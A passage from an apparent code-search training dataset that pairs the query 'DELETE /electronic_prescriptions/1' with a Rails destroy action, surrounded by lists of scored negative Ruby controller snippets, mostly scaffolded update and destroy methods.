"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @calorie_consumption.update(calorie_consumption_params)\n format.html { redirect_to @calorie_consumption, notice: 'Calorie consumption was successfully updated.' }\n format.json { render :show, status: :ok, location: @calorie_consumption }\n else\n format.html { render :edit }\n format.json { render json: @calorie_consumption.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # build_resource\n if resource.status == 'Open'\n resource.update_attributes permitted_params[:contract]\n if !resource.valid?\n render json: resource.errors, status: :unprocessable_entity\n else\n resource.save\n respond_with json: {}, status: :ok\n end\n else\n respond_with json: [{'error':'The contract must be Open to edit.'}], status: :unprocessable_entity\n end\n end",
"def update\n @microposr = Microposr.find(params[:id])\n\n respond_to do |format|\n if @microposr.update_attributes(params[:microposr])\n format.html { redirect_to @microposr, notice: 'Microposr was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microposr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @coupone.update(coupone_params)\n format.html { redirect_to admin_coupone_path(@coupone), notice: 'Coupone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @coupone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @theoretical_part = TheoreticalPart.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @theoretical_part.update_attributes(params[:theoretical_part])\r\n format.html { redirect_to @theoretical_part, notice: 'Theoretical part was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @theoretical_part.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n @computer.versionless do |doc|\n if doc.update(computer_params)\n format.html { redirect_to computers_path, notice: t('computer.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @computer.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @precinct = Precinct.find(params[:id])\n\n respond_to do |format|\n if @precinct.update_attributes(params[:precinct])\n format.html { redirect_to @precinct, notice: 'Precinct was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @precinct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @oscillator.update(oscillator_params)\n format.html { redirect_to @oscillator, notice: \"Oscillator was successfully updated.\" }\n format.json { render :show, status: :ok, location: @oscillator }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @oscillator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i\n @electronic_prescription = ElectronicPrescription.new(electronic_prescription_params)\n\n respond_to do |format|\n if @electronic_prescription.save\n format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully created.' }\n format.json { render :show, status: :created, location: @electronic_prescription }\n else\n format.html { render :new }\n format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n get_credentials\n begin\n response = resource[\"/update/#{app}\"].post(:apikey => @credentials[1], :frequency => options[:frequency])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def update\n @fluxomatricula = Fluxomatricula.find(params[:id])\n\n respond_to do |format|\n if @fluxomatricula.update_attributes(params[:fluxomatricula])\n format.html { redirect_to @fluxomatricula, notice: 'Fluxomatricula was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fluxomatricula.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end",
"def update \n respond_to do |format|\n if @ficheprospect.update(ficheprospect_params)\n format.html { redirect_to prospect_path(@prospect), notice: 'La qualification du prospect a ete modifiee avec succes.' }\n format.json { render :show, status: :ok, location: @ficheprospect }\n else\n format.html { render :edit }\n format.json { render json: @ficheprospect.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate_cost = PlateCost.find(params[:id])\n\n respond_to do |format|\n if @plate_cost.update_attributes(params[:plate_cost])\n format.html { redirect_to @plate_cost, notice: 'Plate Cost was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plate_cost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @technical.update(technical_params)\n format.html { redirect_to @technical, notice: 'Alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @technical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prospect.update(prospect_params)\n format.html { redirect_to @prospect, notice: 'Prospect was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prospect.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @coffer.update(coffer_params)\n format.html { redirect_to @coffer, notice: 'Coffer was successfully updated.' }\n format.json { render :show, status: :ok, location: @coffer }\n else\n format.html { render :edit }\n format.json { render json: @coffer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n if @conductor.update_attributes(params[:conductor])\n format.html { redirect_to @conductor, notice: 'Conductor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conductor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rpm = Rpm.find(params[:id])\n @rpm.save\n respond_to do |format|\n if @rpm.update_attributes(params[:rpm])\n format.html { redirect_to imprimir_rpm_path(@rpm) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rpm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @coupone.update(coupone_params)\n format.html { redirect_to admin_coupones_path, notice: 'Coupone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @coupone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @preparar_mate = @producto.preparar_mates.find(params[:id])\n respond_to do |format|\n if @preparar_mate.update(preparar_mate_params)\n format.html { redirect_to empresa_producto_preparar_mates_path, notice: 'Preparar mate was successfully updated.' }\n format.json { render :show, status: :ok, location: @preparar_mate }\n else\n format.html { render :edit }\n format.json { render json: @preparar_mate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n puts \"pregnancy_params => #{pregnancy_params}\"\n if @pregnancy.update(pregnancy_params)\n format.html { redirect_to rabbit_pregnancies_path(@rabbit), notice: 'Gravidanza aggiornata con successo.' }\n format.json { render :show, status: :ok, location: @pregnancy }\n else\n format.html { render :edit }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n p = recipe_params\n @recipe.properties = RecipeProperties.new(p.delete(:properties))\n respond_to do |format|\n if @recipe.update(p)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reactive.update(reactive_params)\n format.html { redirect_to @reactive, notice: 'Reactive was successfully updated.' }\n format.json { render :show, status: :ok, location: @reactive }\n else\n format.html { render :edit }\n format.json { render json: @reactive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate = Plate.find(params[:id])\n saved = @plate.update_attributes(get_first_indexed_params(:plate))\n respond_to do |format|\n if saved\n success_message = 'Plate was successfully updated.'\n format.html do\n flash[:notice] = success_message\n redirect_to plate_url(@plate)\n end\n flash.now[:notice] = success_message\n format.js\n else\n format.html { render :action => 'edit' }\n format.js { render :action => 'edit' }\n end\n end\n end",
"def update_rest\n @question_localized = QuestionLocalized.find(params[:id])\n\n respond_to do |format|\n if @question_localized.update_attributes(params[:question_localized])\n flash[:notice] = 'QuestionLocalized was successfully updated.'\n format.html { redirect_to(@question_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_localized.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.5922881",
"0.58994466",
"0.585252",
"0.58353597",
"0.58185875",
"0.5803188",
"0.5802312",
"0.5777868",
"0.5719064",
"0.5700488",
"0.56282824",
"0.5626181",
"0.56121945",
"0.5609578",
"0.5609193",
"0.55819356",
"0.5573889",
"0.5572505",
"0.5549453",
"0.5548523",
"0.55394995",
"0.55308694",
"0.55282104",
"0.55243456",
"0.5521878",
"0.5521417",
"0.5508628",
"0.55014664",
"0.54976517",
"0.5496993",
"0.5493646",
"0.54865175",
"0.54719985",
"0.5470618",
"0.5466781",
"0.54653746",
"0.54645103",
"0.5457825",
"0.5454614",
"0.54544735",
"0.5452804",
"0.54456466",
"0.54271954",
"0.5420318",
"0.54146045",
"0.54122686",
"0.5408839",
"0.5403131",
"0.5402271",
"0.5392608",
"0.53914046",
"0.5391281",
"0.5388895",
"0.5383046",
"0.5372319",
"0.53688824",
"0.5361213",
"0.5356045",
"0.5351337",
"0.5346306",
"0.53458005",
"0.5342563",
"0.5337328",
"0.5334347",
"0.5330099",
"0.53262675",
"0.53246534",
"0.531483",
"0.5314413",
"0.5311632",
"0.5309319",
"0.530792",
"0.53069067",
"0.53042495",
"0.530226",
"0.5301416",
"0.5300139",
"0.5299928",
"0.5298734",
"0.5296443",
"0.52941585",
"0.52906317",
"0.52874273",
"0.5286571",
"0.5282661",
"0.5280952",
"0.52788705",
"0.52786916",
"0.52700734",
"0.52675694",
"0.5265744",
"0.52630955",
"0.5262602",
"0.52594316",
"0.5256318",
"0.5255741",
"0.52527535",
"0.52496845",
"0.52477103",
"0.5247297"
] |
0.65522915
|
0
|
DELETE /electronic_prescriptions/1 DELETE /electronic_prescriptions/1.json
|
def destroy
@electronic_prescription.destroy
respond_to do |format|
format.html { redirect_to electronic_prescriptions_url, notice: 'Electronic prescription was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @prescription.destroy\n respond_to do |format|\n format.html { redirect_to prescriptions_url, notice: 'Prescription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @prescription_detail.destroy\n respond_to do |format|\n format.html { redirect_to prescription_details_url, notice: 'Prescription detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @electronic.destroy\n respond_to do |format|\n format.html { redirect_to electronics_url, notice: 'Electronic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n System::Renewal.delayed_event_delete_cascade_renewal(@system_renewal.id) \n System::Renewal.event_delete_cascade_renewal(@system_renewal.id)\n puts 'AKI VA EL ID DE LA RENOVACION QUE SE ESTA ELIMINANDO-||||||||||||||||||||||||||||||||||||||||'\n puts @system_renewal.destroy\n puts 'AKI VA EL ID DE LA RENOVACION QUE SE ESTA ELIMINANDO-|||||||||||||||||||||||||||||||||||||||'\n respond_to do |format|\n format.html { redirect_to system_renewals_url, notice: 'Renewal was successfully destroyed.' }\n format.json { head :no_content }\n format.js { render :js => \"window.location = '/system/renewals'\" }\n end\n end",
"def destroy\n @requisition = Requisition.find(params[:id])\n @requisition.destroy\n\n respond_to do |format|\n format.html { redirect_to requisitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @prescription=Prescription.where(id: @prescription_row.id_prescription).first\n @prescription_row.destroy\n respond_to do |format|\n format.html { redirect_to @prescription, notice: 'Prescription row was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conductor = Conductor.find(params[:id])\n @conductor.destroy\n\n respond_to do |format|\n format.html { redirect_to conductors_url }\n format.json { head :no_content }\n end\n end",
"def cancelReservation(lease_uuid)\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s \n cert_path = APP_CONFIG['cert_path']\n \n header = {\"Content-Type\" => \"application/json\"}\n options = {uuid: lease_uuid}\n\n #puts options.to_json \n uri = URI.parse(broker_url+\"/resources/leases\")\n pem = File.read(cert_path)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.cert = OpenSSL::X509::Certificate.new(pem)\n http.key = OpenSSL::PKey::RSA.new(pem)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Delete.new(uri.request_uri, header)\n request.body = options.to_json\n\n response = http.request(request)\n puts response\n if response.header.code != '200'\n puts \"Something went wrong\"\n puts response\n end\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def destroy\n @precioproducto = Precioproducto.find(params[:id])\n @precioproducto.destroy\n\n respond_to do |format|\n format.html { redirect_to precioproductos_url }\n format.json { head :ok }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n @entry_instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_instruments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @purchase_datum.destroy\n respond_to do |format|\n format.html { redirect_to purchase_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n @instrument_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_versions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @octopus.destroy\n respond_to do |format|\n format.html { redirect_to octopi_url, notice: 'Octopus was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n @datum_receipt.destroy\n respond_to do |format|\n format.html { redirect_to datum_receipts_url, notice: 'Datum receipt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inscriptionprepaconcour = Inscriptionprepaconcour.find(params[:id])\n @inscriptionprepaconcour.destroy\n\n respond_to do |format|\n format.html { redirect_to inscriptionprepaconcours_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @receipt.destroy\n respond_to do |format|\n format.html { redirect_to receipts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @receipt = Receipt.find(params[:id])\n @receipt.destroy\n\n respond_to do |format|\n format.html { redirect_to receipts_url }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @misuration_subscription.destroy\n respond_to do |format|\n format.html { redirect_to misuration_subscriptions_url, notice: 'Iscrizione al sensore eliminata correttamente' }\n format.json { head :no_content }\n end\n end",
"def api_remove\n data_hash = make_hash\n delete_hash = { division: data_hash[:division][:value] }\n handler.remove(delete_hash, path, subscriber_id)\n end",
"def destroy\n @pre = Pre.find(params[:id])\n @pre.destroy\n\n respond_to do |format|\n format.html { redirect_to pres_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aucrecord.destroy\n respond_to do |format|\n format.html { redirect_to aucrecords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @iso.destroy\n respond_to do |format|\n format.html { redirect_to isos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @autore = Autore.find(params[:id])\n @autore.destroy\n\n respond_to do |format|\n format.html { redirect_to autores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_datum = RawDatum.find(params[:id])\n @raw_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to raw_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @premio = Premio.find(params[:id])\n @premio.destroy\n\n respond_to do |format|\n format.html { redirect_to premios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @premio = Premio.find(params[:id])\n @premio.destroy\n\n respond_to do |format|\n format.html { redirect_to premios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @users_prescription.destroy\n respond_to do |format|\n format.html { redirect_to users_prescriptions_url, notice: 'Users prescription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def orchio_delete\n response = client.send_request :delete, inst_args\n orchio_status response, 204\n end",
"def destroy\n @preorder = Preorder.find(params[:id])\n @preorder.destroy\n\n respond_to do |format|\n format.html { redirect_to preorders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @calorie_consumption.destroy\n respond_to do |format|\n format.html { redirect_to calorie_consumptions_url, notice: 'Calorie consumption was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scheduled_chore.destroy\n respond_to do |format|\n format.html { redirect_to scheduled_chores_url, notice: 'Scheduled chore deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @license.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Запись о лицензии удалена.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @central_correio = CentralCorreio.find(params[:id])\n @central_correio.destroy\n\n respond_to do |format|\n format.html { redirect_to central_correios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @premio_manual.destroy\n respond_to do |format|\n format.html { redirect_to premio_manuals_url, notice: 'Se ha eliminado correctamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_receipt = PurchaseReceipt.find(params[:id])\n @purchase_receipt.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_receipts_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @premise.destroy\n respond_to do |format|\n format.html { redirect_to premises_url, notice: 'Premise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crytosubscription.destroy\n respond_to do |format|\n format.html { redirect_to crytosubscriptions_url, notice: 'Crytosubscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recharge.destroy\n respond_to do |format|\n format.html { redirect_to recharges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @receipt.destroy\n respond_to do |format|\n format.html { redirect_to receipts_url, notice: 'Recebimento excluido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @premium_subscription.destroy\n respond_to do |format|\n format.html { redirect_to premium_subscriptions_url, notice: 'Premium subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gstr_advance_receipts = GstrAdvanceReceipt.find_by_id_and_company_id(params[:id], @company.id)\n @gstr_advance_receipts.delete_gstr_one_entry \n @gstr_advance_receipts.delete\n respond_to do |format|\n @gstr_advance_receipts.register_delete_action(request.remote_ip, @current_user, 'deleted')\n format.html { redirect_to(gstr_advance_receipts_url, :notice =>\"Gstr Advance Receipt has been succesfully deleted\") }\n format.xml {head :ok}\n \n end\n end",
"def destroy\n @invoice.destroy\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @serial_chronology.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Serial chronology was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end",
"def destroy\n @crust = Crust.find(params[:id])\n @crust.destroy\n\n respond_to do |format|\n format.html { redirect_to crusts_url }\n format.json { head :no_content }\n end\n end",
"def delete\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.delete do |req|\n req.url resource_uri\n end\n if res.success?\n data = JSON.parse(res.body)\n reload\n else\n nil\n end\n end",
"def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pre_payment_req.destroy\n respond_to do |format|\n format.html { redirect_to pre_payment_reqs_url, notice: 'Pre payment req was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @substrate = Substrate.find(params[:id])\n @substrate.destroy\n\n respond_to do |format|\n format.html { redirect_to substrates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @receipt.destroy\n respond_to do |format|\n format.html { redirect_to receipts_url, notice: 'Платеж успешно удален.' }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to root_url}\n format.json { head :no_content }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @apprentice = Apprentice.find(params[:id])\n @apprentice.destroy\n\n respond_to do |format|\n format.html { redirect_to apprentices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @notificaciones_admin_actualouse = NotificacionesAdminActualouse.find(params[:id])\n @notificaciones_admin_actualouse.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"def destroy\n @microposr = Microposr.find(params[:id])\n @microposr.destroy\n\n respond_to do |format|\n format.html { redirect_to microposrs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_release = ClientRelease.find(params[:id])\n @client_release.destroy\n\n respond_to do |format|\n format.html { redirect_to client_releases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n loaded = Cloudinary::Uploader.destroy(\"advertises/#{@admin_advertise.id}\", :public_id => \"advertises/#{@admin_advertise.id}\", :invalidate => true)\n @admin_advertise.destroy\n respond_to do |format|\n format.html { redirect_to admin_advertises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice.destroy\n respond_to do |format|\n format.html { redirect_to invoices_url, notice: 'Uw factuur is verwijderd.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @encuestum = Encuestum.find(params[:id])\n @encuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to encuesta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end",
"def delete(params = {})\n Client.current.delete(resource_url, params)\n end",
"def destroy\r\n @sivic_rede.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_redes_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @official_tenure = OfficialTenure.find(params[:id])\n @official_tenure.destroy\n\n respond_to do |format|\n format.html { redirect_to official_tenures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @presenza = Presenza.find(params[:id])\n @presenza.destroy\n\n respond_to do |format|\n format.html { redirect_to presenze_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@prescription.destroy\n # we never delete prescriptions. they just get archived\n @prescription.active = false\n @prescription.save\n respond_to do |format|\n format.html { redirect_to @patient, notice: 'Prescription was archived.' }\n format.json { head :no_content }\n end\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def destroy\n @recipy = Recipy.find(params[:id])\n @recipy.destroy\n\n respond_to do |format|\n format.html { redirect_to recipies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asthenium.destroy\n respond_to do |format|\n format.html { redirect_to asthenia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @promo = Promo.find(params[:id])\n @promo.destroy\n\n respond_to do |format|\n format.html { redirect_to promos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @promo = Promo.find(params[:id])\n @promo.destroy\n\n respond_to do |format|\n format.html { redirect_to promos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @revise.destroy\n respond_to do |format|\n format.html { redirect_to revises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @remedio = Remedio.find(params[:id])\n @remedio.destroy\n\n respond_to do |format|\n format.html { redirect_to remedios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prestacion = Prestacion.find(params[:id])\n @prestacion.destroy\n\n respond_to do |format|\n format.html { redirect_to prestacions_url }\n format.json { head :ok }\n end\n end"
] |
[
"0.66685146",
"0.66485566",
"0.66148996",
"0.65510267",
"0.65432596",
"0.65199184",
"0.6503917",
"0.64740396",
"0.6459258",
"0.64404917",
"0.6439363",
"0.64307564",
"0.6426494",
"0.6418418",
"0.6417049",
"0.64164597",
"0.6397672",
"0.63815844",
"0.63809764",
"0.63780427",
"0.6360109",
"0.635763",
"0.63545287",
"0.63409936",
"0.6333647",
"0.6333615",
"0.632813",
"0.63279605",
"0.6326003",
"0.632169",
"0.63203794",
"0.6313049",
"0.63110185",
"0.6309649",
"0.6302414",
"0.6302414",
"0.62959635",
"0.62903404",
"0.6289428",
"0.6288037",
"0.62854105",
"0.628502",
"0.62825155",
"0.627921",
"0.6270401",
"0.6267767",
"0.6265983",
"0.6265824",
"0.6263064",
"0.6259883",
"0.6259883",
"0.6259883",
"0.6259883",
"0.6257286",
"0.62553585",
"0.625391",
"0.62535256",
"0.62484556",
"0.6246729",
"0.6245463",
"0.62431836",
"0.62385386",
"0.62350845",
"0.62343895",
"0.62331307",
"0.62269706",
"0.6226397",
"0.62235606",
"0.6222135",
"0.6221401",
"0.62210935",
"0.62200934",
"0.6213744",
"0.6212749",
"0.62119466",
"0.62113035",
"0.6210178",
"0.6208291",
"0.6206941",
"0.62066495",
"0.6205976",
"0.62058085",
"0.6205518",
"0.6203902",
"0.6200642",
"0.620023",
"0.619785",
"0.6195675",
"0.61948496",
"0.619204",
"0.61911994",
"0.6190872",
"0.6189571",
"0.6187639",
"0.6187639",
"0.6187008",
"0.6184146",
"0.61820954",
"0.6180784",
"0.61791486"
] |
0.7207343
|
0
|
